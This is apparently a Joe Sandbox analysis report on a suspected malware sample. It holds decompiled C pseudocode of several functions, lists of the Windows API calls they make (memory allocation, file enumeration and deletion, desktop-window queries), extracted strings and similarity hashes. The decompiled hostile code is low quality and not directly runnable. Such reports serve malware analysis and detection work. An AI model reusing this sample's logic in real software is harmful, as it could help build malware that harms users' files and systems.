0x00a4842a
0x00a4843c
0x00a48445
0x00a4844f
0x00a4845d
0x00a48460
0x00a48465
0x00a48467
0x00a48469
0x00a4846e
0x00a4847f
0x00a48491
0x00000000
0x00000000
0x00a484a3
0x00a484a5
0x00a484aa
0x00a4866c
0x00a48671
0x00a48674
0x00a48674
0x00a4867e
0x00a48683
0x00a48683
0x00a4868b
0x00a48692
0x00a48692
0x00000000
0x00a4868b
0x00a484b6
0x00a484bb
0x00a484c2
0x00000000
0x00000000
0x00a484d1
0x00a484d4
0x00a484d8
0x00a484db
0x00a48635
0x00a48635
0x00a4863a
0x00a4863d
0x00a4863d
0x00a48647
0x00a48652
0x00a48654
0x00a48657
0x00a48657
0x00a4865f
0x00a48662
0x00a48662
0x00000000
0x00a48649
0x00a4864c
0x00a4864c
0x00000000
0x00a4864c
0x00a48647
0x00a484ed
0x00a484f1
0x00000000
0x00000000
0x00a484f7
0x00a484f9
0x00a484fb
0x00a484fe
0x00000000
0x00000000
0x00a48515
0x00a485bd
0x00a485bd
0x00000000
0x00a485bd
0x00a48532
0x00a485ba
0x00000000
0x00a485ba
0x00a4854b
0x00a48550
0x00a48558
0x00a4855d
0x00a48570
0x00a48575
0x00a4857d
0x00a48583
0x00a48586
0x00a4858c
0x00a48593
0x00a48596
0x00a4859b
0x00a485a1
0x00a485a4
0x00a485a4
0x00a485aa
0x00a485af
0x00a485b2
0x00a485b2
0x00000000
0x00a485af
0x00a48472
0x00a48474
0x00a48476
0x00a48479
0x00a4861d
0x00a48622
0x00a48625
0x00a48625
0x00a4862b
0x00a48630
0x00000000
0x00a48632
0x00a4864c
0x00000000
0x00a4864c
0x00a48630
0x00000000
0x00a485c0
0x00a485c4
0x00a485c9
0x00a485c9
0x00a485d1
0x00a485d4
0x00a485d4
0x00a485dc
0x00a485df
0x00a485df
0x00a485f3
0x00a485f3
0x00a485fb
0x00a485fe
0x00a48607
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A4777E), ref: 00A483EF
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4841B
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A4777E), ref: 00A48434
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4844F
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A4777E), ref: 00A485A4
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A4777E), ref: 00A485B2
LocalFree.KERNEL32(00000000), ref: 00A485C9
LocalFree.KERNEL32(00000000), ref: 00A485D4
LocalFree.KERNEL32(00000000), ref: 00A485DF
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00A4777E), ref: 00A4860F
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A4777E), ref: 00A48625
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A4777E), ref: 00A4863D
LocalFree.KERNEL32(00000000), ref: 00A4864C
LocalFree.KERNEL32(00000000), ref: 00A48657
LocalFree.KERNEL32(00000000), ref: 00A48662
LocalFree.KERNEL32(?,?,?,?,?,?,?,00A4777E), ref: 00A48674
LocalFree.KERNEL32(00000000), ref: 00A48683
LocalFree.KERNEL32(00000000), ref: 00A48692

Strings

libs, xrefs: 00A484B6
.dll, xrefs: 00A48569
Xby, xrefs: 00A48550

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Local$Free$Alloc
String ID: .dll$Xby$libs
API String ID: 3098330729-151491803
Opcode ID: 050b4ee3a8f6c9419de2faa38c1ab8847d10ac62f04b77f8f2a98644e0fa8536
Instruction ID: 66a8a9ddb0d94d28103ca42223c5c58882879cdbe2d2f7bbb2344d825aad43a1
Opcode Fuzzy Hash: 050b4ee3a8f6c9419de2faa38c1ab8847d10ac62f04b77f8f2a98644e0fa8536
Instruction Fuzzy Hash: 45817C7DA40206EBDB04DFB8EC85A6EB7B9BBC5300B154459E911E3250DF79DE02CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A900 Relevance: 31.6, APIs: 25, Instructions: 347
memoryCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E00A4A900(short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				signed int _v36;
				void* _v40;
				void* _v44;
				short* _v48;
				void* _v52;
				intOrPtr _v56;
				signed int _v60;
				char _v64;
				void* __ecx;
				void* _t80;
				signed int _t81;
				void* _t84;
				void* _t88;
				void* _t91;
				void* _t94;
				void* _t116;
				void* _t120;
				void* _t139;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				void* _t150;
				void* _t161;
				void* _t162;
				void* _t163;
				intOrPtr _t164;
				char _t206;
				void* _t219;
				void* _t228;
				signed int _t231;
				intOrPtr _t232;
				void* _t235;
				void* _t242;
				signed int _t246;
				signed int _t249;
				void* _t250;
				void* _t251;
				void* _t253;
				void* _t254;

				_v48 = __edx;
				_v28 = _t164;
				_t161 =  *((intOrPtr*)( *0xa4e180))(_t164,  *0xa4ea9c);
				if(_t161 == 0) {
					L24:
					return 0;
				}
				while(1) {
					_t162 = _t161 + 0xa;
					_t80 =  *((intOrPtr*)( *0xa4e180))(_t162,  *0xa4e1e4);
					_t3 = _t80 + 2; // 0x2
					_t224 = _t3;
					_t81 =  *((intOrPtr*)( *0xa4e180))(_t3,  *0xa4e1dc);
					_v36 = _t81;
					_t84 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t82);
					_v8 = _t84;
					_t88 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t86);
					_v12 = _t88;
					_t91 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t89);
					_v16 = _t91;
					_t94 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t92);
					_v20 = _t94;
					_t242 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_v28) + _t95);
					_t100 = _v36 - _t162 >> 1;
					_v24 = _t242;
					_v44 = _v36 - _t162 >> 1;
					if(E00A4A4BC(_t162,  &_v8, _t224 - _t162 >> 1, _t100) == 0) {
						break;
					}
					_t228 =  *((intOrPtr*)( *0xa4e180))(_v36 + 2,  *0xa4e1dc);
					_t246 = _t228 - _t162 >> 1;
					if(E00A4A4BC(_t162,  &_v12, _v44 + 1, _t246) == 0) {
						L20:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						L22:
						L23:
						goto L24;
					}
					_t21 = _t228 + 2; // 0x2
					_t116 =  *((intOrPtr*)( *0xa4e180))(_t21,  *0xa4e1dc);
					_v44 = _t116;
					_t23 = _t246 + 1; // 0x1
					_t231 = _t116 - _t162 >> 1;
					if(E00A4A4BC(_t162,  &_v16, _t23, _t231) == 0) {
						goto L20;
					}
					_t120 =  *((intOrPtr*)( *0xa4e180))(_v44 + 2,  *0xa4e1dc);
					_v44 = _t120;
					_t27 = _t231 + 1; // 0x1
					_t249 = _t120 - _t162 >> 1;
					if(E00A4A4BC(_t162,  &_v20, _t27, _t249) == 0) {
						goto L20;
					}
					_t232 =  *((intOrPtr*)( *0xa4e180))(_v44 + 2,  *0xa4e21c);
					_v56 = _t232;
					_t32 = _t249 + 1; // 0x1
					if(E00A4A4BC(_t162,  &_v24, _t32, _t232 - _t162 >> 1) == 0) {
						goto L20;
					}
					_t250 =  *((intOrPtr*)( *0xa4e078))(_v12);
					if(_t250 > 0) {
						_t163 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
						_push(0);
						_push(_t250);
						_push(_t163);
						_push(0);
						if( *((intOrPtr*)( *0xa4e0c8))() != 0) {
							_t139 =  *((intOrPtr*)( *0xa4e008))(_t163, _t163, _v16);
							_v36 = _v36 & 0x00000000;
							_t163 = _t139;
							_v32 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x2000);
							E00A4B29D(_v8, _t163, _t163, _v20, _v24, _t141,  &_v36);
							_t254 = _t254 + 0x14;
							if(_v36 <= 0) {
								_t251 = _v32;
							} else {
								_t145 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t146 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t219 = 0x10;
								_t147 = E00A4A139(_t145, _t219);
								_t253 = _t147;
								_v52 = _t253;
								_t149 = E00A4A5DB( *((intOrPtr*)( *0xa4e13c))(_t146,  *0xa4e204), _t253);
								_t206 =  *0xa4e1f8; // 0x7960b8
								_v60 = _v60 & 0x00000000;
								_v64 = _t206;
								_v44 = _t149;
								_t150 = E00A4839B( &_v44);
								_v40 = _t150;
								_t235 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x184);
								 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t253, 0xffffffff, 0, 0, 0, 0);
								if(0 == 0) {
									_t251 = _v32;
								} else {
									 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t253, 0xffffffff, _t235, 0, 0, 0);
									_t251 = _v32;
									if(0 != 0) {
										E00A47C6B(_v48, _t235, 0, 0, _v36, _t251, _v40,  &_v64);
										_t254 = _t254 + 0x18;
									}
								}
								LocalFree(_t235);
								LocalFree(_v40);
								LocalFree(_v44);
								LocalFree(_v52);
								_t232 = _v56;
							}
							LocalFree(_t251);
						}
						LocalFree(_t163);
					}
					LocalFree(_v8);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					_t66 = _t232 + 2; // 0x2
					_t161 =  *((intOrPtr*)( *0xa4e180))(_t66,  *0xa4ea9c);
					if(_t161 != 0) {
						continue;
					} else {
						goto L23;
					}
				}
				LocalFree(_v8);
				LocalFree(_v12);
				LocalFree(_v16);
				LocalFree(_v20);
				LocalFree(_t242);
				goto L22;
			}

0x00a4a912
0x00a4a916
0x00a4a91b
0x00a4a91f
0x00a4acf9
0x00a4acfd
0x00a4acfd
0x00a4a927
0x00a4a932
0x00a4a936
0x00a4a944
0x00a4a944
0x00a4a948
0x00a4a959
0x00a4a963
0x00a4a96e
0x00a4a97d
0x00a4a98e
0x00a4a998
0x00a4a9a9
0x00a4a9b3
0x00a4a9c4
0x00a4a9d0
0x00a4a9de
0x00a4a9e4
0x00a4a9e7
0x00a4a9f3
0x00000000
0x00000000
0x00a4aa14
0x00a4aa1a
0x00a4aa2a
0x00a4aca3
0x00a4aca6
0x00a4acaf
0x00a4acb8
0x00a4acc1
0x00a4acf1
0x00a4acf1
0x00a4acf7
0x00000000
0x00a4acf8
0x00a4aa3c
0x00a4aa40
0x00a4aa44
0x00a4aa49
0x00a4aa4c
0x00a4aa5e
0x00000000
0x00000000
0x00a4aa77
0x00a4aa7b
0x00a4aa80
0x00a4aa83
0x00a4aa95
0x00000000
0x00000000
0x00a4aab0
0x00a4aab7
0x00a4aabf
0x00a4aace
0x00000000
0x00000000
0x00a4aade
0x00a4aae2
0x00a4aafd
0x00a4aaff
0x00a4ab01
0x00a4ab02
0x00a4ab03
0x00a4ab09
0x00a4ab19
0x00a4ab1b
0x00a4ab1f
0x00a4ab32
0x00a4ab43
0x00a4ab48
0x00a4ab4f
0x00a4ac47
0x00a4ab55
0x00a4ab62
0x00a4ab6f
0x00a4ab73
0x00a4ab78
0x00a4ab89
0x00a4ab8c
0x00a4ab95
0x00a4ab9a
0x00a4aba0
0x00a4aba4
0x00a4abaa
0x00a4abad
0x00a4abbf
0x00a4abca
0x00a4abdb
0x00a4abdf
0x00a4ac1d
0x00a4abe1
0x00a4abf6
0x00a4abf8
0x00a4abfd
0x00a4ac13
0x00a4ac18
0x00a4ac18
0x00a4abfd
0x00a4ac21
0x00a4ac2a
0x00a4ac33
0x00a4ac3c
0x00a4ac42
0x00a4ac42
0x00a4ac4b
0x00a4ac4b
0x00a4ac52
0x00a4ac52
0x00a4ac5b
0x00a4ac64
0x00a4ac6d
0x00a4ac76
0x00a4ac7f
0x00a4ac91
0x00a4ac97
0x00a4ac9b
0x00000000
0x00a4aca1
0x00000000
0x00a4aca1
0x00a4ac9b
0x00a4accf
0x00a4acd8
0x00a4ace1
0x00a4acea
0x00a4acf1
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00A4A963
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A4A97D
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A4A998
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A4A9B3
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A4A9CE

Part of subcall function 00A4A4BC: LocalAlloc.KERNEL32(00000040,00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A4E4
Part of subcall function 00A4A4BC: LocalFree.KERNEL32(00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A521

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4AC52

Part of subcall function 00A4B29D: LocalFree.KERNEL32(00000000), ref: 00A4B383
Part of subcall function 00A4B29D: LocalFree.KERNEL32(?), ref: 00A4B5FF
Part of subcall function 00A4B29D: FindClose.KERNEL32(00000000), ref: 00A4B606

LocalFree.KERNEL32(?), ref: 00A4AC4B

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

Part of subcall function 00A4839B: LocalAlloc.KERNELBASE(00000040,0000FF78,8724643052,00A4760D), ref: 00A483AA

LocalFree.KERNEL32(00000000), ref: 00A4AC21
LocalFree.KERNEL32(?), ref: 00A4AC2A
LocalFree.KERNEL32(?), ref: 00A4AC33
LocalFree.KERNEL32(?), ref: 00A4AC3C
LocalFree.KERNEL32(00A47938,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4AC5B
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4AC64
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4AC6D
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4AC76
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4AC7F
LocalFree.KERNEL32(00A47938,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACA6
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACAF
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACB8
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACC1
LocalFree.KERNEL32(00A47938,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACCF
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACD8
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACE1
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACEA
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A47938), ref: 00A4ACF1

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Local$Free$Alloc$lstrlen$CloseFindGlobal
String ID:
API String ID: 2275475116-0
Opcode ID: 2c16bdfb1855bec4c6c59296b73787b3bc459222e693b23a438e35201c0c7da9
Instruction ID: 4494faa91783a8eae074dd19bcfbde808d277b208888cfa85b1c4472879ae801
Opcode Fuzzy Hash: 2c16bdfb1855bec4c6c59296b73787b3bc459222e693b23a438e35201c0c7da9
Instruction Fuzzy Hash: C9C17D7EA40205EFEB08DBE4DC89EAE7BB5FBC9310F144519F915A32A0DA765D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A49A8E Relevance: 30.3, APIs: 24, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00A49A8E(void* __ecx, short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				short* _v44;
				void* _v48;
				signed int _v52;
				char _v56;
				signed int _t60;
				void* _t62;
				void* _t71;
				void* _t78;
				void* _t85;
				void* _t94;
				signed int _t103;
				void* _t109;
				void* _t111;
				void* _t112;
				void* _t115;
				char _t116;
				void* _t117;
				void* _t127;
				void* _t140;
				signed int _t142;
				void* _t144;
				signed int _t146;
				void* _t165;
				void* _t173;
				signed int _t177;
				void* _t178;
				void* _t180;
				void* _t182;
				void* _t184;
				void* _t187;
				void* _t188;
				signed int _t193;
				signed int _t197;
				void* _t199;
				void* _t202;

				_v24 = _v24 & 0x00000000;
				_t142 = 0;
				_v44 = __edx;
				_v40 = _v40 & 0;
				_t60 =  *((intOrPtr*)( *0xa4e180))(__ecx,  *0xa4ead0);
				_t177 = _t60;
				if(_t177 == 0) {
					return _t60 | 0xffffffff;
				}
				_t178 = _t177 + 0xc;
				_t62 =  *((intOrPtr*)( *0xa4e180))(_t178,  *0xa4e1e4);
				if(_t62 == 0) {
					L5:
					_v8 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t178, _t188) + _t64);
					if(E00A4A4BC(_t178,  &_v8, 0, _t142) != 0) {
						_t180 = _t178 + _t142 * 2 + 2;
						_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t180) + _t69);
						_v12 = _t71;
						_t193 =  *((intOrPtr*)( *0xa4e180))(_t180,  *0xa4e200) - _t180 >> 1;
						if(E00A4A4BC(_t180,  &_v12, 0, _t193) != 0) {
							_t182 = _t180 + _t193 * 2 + 2;
							_t78 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t182) + _t76);
							_v16 = _t78;
							_t197 =  *((intOrPtr*)( *0xa4e180))(_t182,  *0xa4e200) - _t182 >> 1;
							if(E00A4A4BC(_t182,  &_v16, 0, _t197) != 0) {
								_t184 = _t182 + _t197 * 2 + 2;
								_t85 = LocalAlloc(0x40,  *((intOrPtr*)( *0xa4e090))(_t184) + _t83);
								_push( *0xa4e21c);
								_v20 = _t85;
								_push(_t184);
								if(E00A4A4BC(_t184,  &_v20, 0,  *((intOrPtr*)( *0xa4e180))() - _t184 >> 1) != 0) {
									_t199 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x4000);
									_v28 = _t199;
									_t94 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
									_push(0);
									_t144 = _t94;
									_push(0x1a);
									_push(_t144);
									_push(0);
									if( *((intOrPtr*)( *0xa4e0c8))() != 0) {
										_push(_v12);
										_push(_t144);
										_push(_t144);
										if( *((intOrPtr*)( *0xa4e008))() != 0) {
											_v40 = 1;
											E00A49DEA(_t144, _t144, _v8, _v16, _v20, _t199,  &_v24);
											if(_v24 > 0) {
												_t109 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
												_t111 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
												_t173 = 0x10;
												_t112 = E00A4A139(_t109, _t173);
												_t202 = _t112;
												_v48 = _t202;
												_t115 = E00A4A5DB( *((intOrPtr*)( *0xa4e13c))(_t111,  *0xa4e204), _t202);
												_v52 = _v52 & 0x00000000;
												_v36 = _t115;
												_t116 =  *0xa4e1f8; // 0x7960b8
												_v56 = _t116;
												_t117 = E00A4839B( &_v36);
												_v32 = _t117;
												_t187 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x184);
												_t165 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t202, 0xffffffff, 0, 0, 0, 0);
												if(_t165 == 0) {
													_t199 = _v28;
												} else {
													_t127 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _t202, 0xffffffff, _t187, _t165, 0, 0);
													_t199 = _v28;
													if(_t127 != 0) {
														E00A47C6B(_v44, _t187, 0, 0, _v24, _t199, _v32,  &_v56);
													}
												}
												LocalFree(_t187);
												LocalFree(_v32);
												LocalFree(_v36);
												LocalFree(_v48);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t144);
									LocalFree(_t199);
									_t103 = _v40;
									L23:
									return _t103;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								L13:
								_pop(_t103);
								goto L23;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L13;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L13;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L13;
				} else {
					_t146 = _t62 - _t178;
					_t142 = _t146 >> 1;
					if(_t146 >= 0) {
						goto L5;
					}
					_t140 = 0xfffffffe;
					return _t140;
				}
			}

0x00a49a99
0x00a49aa5
0x00a49aa7
0x00a49aaa
0x00a49aae
0x00a49ab0
0x00a49ab4
0x00000000
0x00a49ab6
0x00a49ac9
0x00a49acd
0x00a49ad1
0x00a49ae3
0x00a49aff
0x00a49b0d
0x00a49b2d
0x00a49b38
0x00a49b40
0x00a49b54
0x00a49b63
0x00a49b8c
0x00a49b97
0x00a49b9f
0x00a49bb3
0x00a49bc0
0x00a49bef
0x00a49bfa
0x00a49bfc
0x00a49c02
0x00a49c0a
0x00a49c21
0x00a49c5d
0x00a49c6b
0x00a49c6e
0x00a49c70
0x00a49c72
0x00a49c79
0x00a49c7b
0x00a49c7c
0x00a49c82
0x00a49c88
0x00a49c90
0x00a49c91
0x00a49c96
0x00a49c9f
0x00a49cb5
0x00a49cc1
0x00a49cd4
0x00a49ce0
0x00a49ce4
0x00a49ce9
0x00a49cf4
0x00a49cfc
0x00a49d05
0x00a49d0a
0x00a49d11
0x00a49d14
0x00a49d19
0x00a49d1c
0x00a49d26
0x00a49d34
0x00a49d4a
0x00a49d4e
0x00a49d8b
0x00a49d50
0x00a49d64
0x00a49d66
0x00a49d6b
0x00a49d81
0x00a49d86
0x00a49d6b
0x00a49d8f
0x00a49d98
0x00a49da1
0x00a49daa
0x00a49daa
0x00a49cc1
0x00a49c96
0x00a49db3
0x00a49dbc
0x00a49dc5
0x00a49dce
0x00a49dd5
0x00a49ddc
0x00a49de2
0x00a49de5
0x00000000
0x00a49de5
0x00a49c26
0x00a49c2f
0x00a49c38
0x00a49c41
0x00a49c47
0x00a49c49
0x00a49c49
0x00000000
0x00a49c49
0x00a49bc5
0x00a49bce
0x00a49bd7
0x00a49bdd
0x00000000
0x00a49bdd
0x00a49b68
0x00a49b71
0x00a49b77
0x00000000
0x00a49b77
0x00a49b12
0x00a49b18
0x00000000
0x00a49ad3
0x00a49ad5
0x00a49ad7
0x00a49ad9
0x00000000
0x00000000
0x00a49add
0x00000000
0x00a49add

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d419a6d73c1f61b0863433c88f8833a60cfd9c4b5a6b753efd91b52f5e9ddf43
Instruction ID: b6ab571cc5e4bb1bfeffb41184e99d0f18d84f41887af0bd494401a1c85dff57
Opcode Fuzzy Hash: d419a6d73c1f61b0863433c88f8833a60cfd9c4b5a6b753efd91b52f5e9ddf43
Instruction Fuzzy Hash: 74A1493AA40105EFEB10DBE8DC85EAE7BB5FBC9310F144154F625A32A0DBB65D12CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A46809 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 187filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

LocalFree.KERNEL32(00000000), ref: 00A468B5
wsprintfW.USER32 ref: 00A4699A
lstrlenW.KERNEL32 ref: 00A469A7
LocalFree.KERNEL32(?), ref: 00A469C4
DeleteFileW.KERNEL32(?), ref: 00A469FE
LocalFree.KERNEL32(?), ref: 00A46A09
LocalFree.KERNEL32(00000000), ref: 00A46A14
LocalFree.KERNEL32(00000000), ref: 00A46A20
DeleteFileW.KERNEL32(?), ref: 00A46A27
LocalFree.KERNEL32(?), ref: 00A46A2E

Strings

FALSE, xrefs: 00A4697A
TRUE, xrefs: 00A4697F, 00A4698A

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$DeleteFile$lstrlenwsprintf
String ID: FALSE$TRUE
API String ID: 4168217763-1412513891
Opcode ID: 66e17168ed8932af96497a9d2eb0ef9b789400a686729fc04ffcea60b79e9aee
Instruction ID: ac40dda6677108bcc7da8a87000d559b6df40c6125aa12a26dd91299a02307e4
Opcode Fuzzy Hash: 66e17168ed8932af96497a9d2eb0ef9b789400a686729fc04ffcea60b79e9aee
Instruction Fuzzy Hash: FA616C3DA40204AFDB14DFE0EC85AAD7BB5FBCA310F144428F915A72A0DB729D02CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A48996 Relevance: 18.4, APIs: 12, Instructions: 387fileCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00A489BA
GetClientRect.USER32(?,?), ref: 00A48B38
LocalFree.KERNEL32(?), ref: 00A48E1F

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000), ref: 00A48CFF
CloseHandle.KERNEL32(?), ref: 00A48D0A
DeleteFileW.KERNEL32(?), ref: 00A48D11
LocalFree.KERNEL32(?), ref: 00A48D18
LocalFree.KERNEL32(?), ref: 00A48D22
LocalFree.KERNEL32(00000000), ref: 00A48DFA
LocalFree.KERNEL32(?), ref: 00A48E04
LocalFree.KERNEL32(?), ref: 00A48E0E
LocalFree.KERNEL32(?), ref: 00A48E15

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

